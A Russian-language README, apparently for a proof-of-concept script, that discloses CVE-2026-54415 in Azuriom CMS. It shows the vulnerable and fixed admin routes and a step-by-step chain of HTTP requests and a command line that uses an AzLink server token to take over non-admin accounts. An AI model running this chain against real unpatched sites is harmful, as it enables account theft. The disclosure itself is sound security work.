
PoC для CVE-2026-54415 — Azuriom CMS (<1.2.11) Нарушение контроля доступа → захват учётной записи
Отсутствие авторизации в маршрутах управления серверами админ-панели в Azuriom CMS < 1.2.11 позволяет любому администратору с низкими привилегиями (имеющему только admin.access) создать токен сервера AzLink и захватить любую учетную запись, не являющуюся административной.
| CVE | CVE-2026-54415 |
| Продукт | Azuriom CMS |
| Затронуто | < 1.2.11 |
| Исправлено в | 1.2.11 — коммит 4b744bc |
| CWE | CWE-862 (Отсутствие авторизации), CWE-269 (Ненадлежащее управление привилегиями) |
| CVSS 3.1 | 8.1 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 High — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
Этот PoC публикуется в защитных и образовательных целях для исправленной версии. Запускайте его только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Обновитесь до Azuriom
1.2.11+.
✅ Проверено от начала до конца на локальном экземпляре Azuriom 1.2.10 — обход контроля доступа, создание токена, подтвержденная смена пароля + вход жертвы и граница защиты администратора.
В routes/admin.php вся административная панель закрыта одной группой can:admin.access, и каждая критическая функция должна добавлять свою собственную детализированную прослойку can:admin.*. До версии 1.2.11 маршруты управления серверами поставлялись без такой прослойки:
// routes/admin.php (уязвимый, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
Любой пользователь, имеющий доступ к админ-панели (admin.access), может создавать серверы. Права admin.servers вообще не существовало — оно появилось только в исправлении.
Разработчик создал новое право admin.servers и обернул в него маршруты:
// routes/admin.php (исправленный, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
В том же коммите также добавлены ранее отсутствовавшие проверки прав для маршрутов social-links и pages/posts.attachments.
Создание сервера генерирует 32-символьный токен сервера (app/Http/Controllers/Admin/ServerController.php):
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
Этот токен аутентифицирует AzLink API (routes/api.php), чья прослойка VerifyServerToken доверяет любому запросу с валидным заголовком Azuriom-Link-Token. AzLink предоставляет конечные точки управления учетными записями:
POST /api/azlink/password → изменить пароль пользователя по game_id
POST /api/azlink/email → изменить email пользователя по game_id
POST /api/azlink/register → создать пользователей
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword отказывает только если цель isAdmin() — каждая не-административная учетная запись может быть захвачена:
public function updatePassword(Request $request) {
// проверяет game_id + пароль
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // защищены только администраторы
$user->update(['password' => $request->input('password')]);
...
}
При создании сервера вызывается $server->bridge()->verifyLink() перед сохранением. Для типа mc-azlink это безусловно истинно:
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
Таким образом, атакующий указывает любой фиктивный address, сервер все равно сохраняется, а свежий токен отображается в панели внутри команды настройки AzLink (/azlink setup <url> <token>).
1. Аутентификация как администратор с низкими привилегиями (только admin.access — НЕТ admin.servers, которого не существовало)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → сервер сохранен, токен создан
3. GET /admin/servers/{id}/edit → чтение токена из команды настройки
4. POST /api/azlink/password (header Azuriom-Link-Token: <token>) game_id=<victim>&password=<new>
5. Вход в систему как жертва → полный захват учетной записи
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
Скрипт входит в систему, создает токен сервера, извлекает его, сбрасывает пароль жертвы через AzLink и выводит токен + результат. Смотрите poc.py --help для всех флагов. Требуется requests (pip install requests).
1.2.11 или новее.admin_servers и отзовите все неожиданные токены серверов.admin.access.1.2.11MIT — только для авторизованного тестирования безопасности и исследований.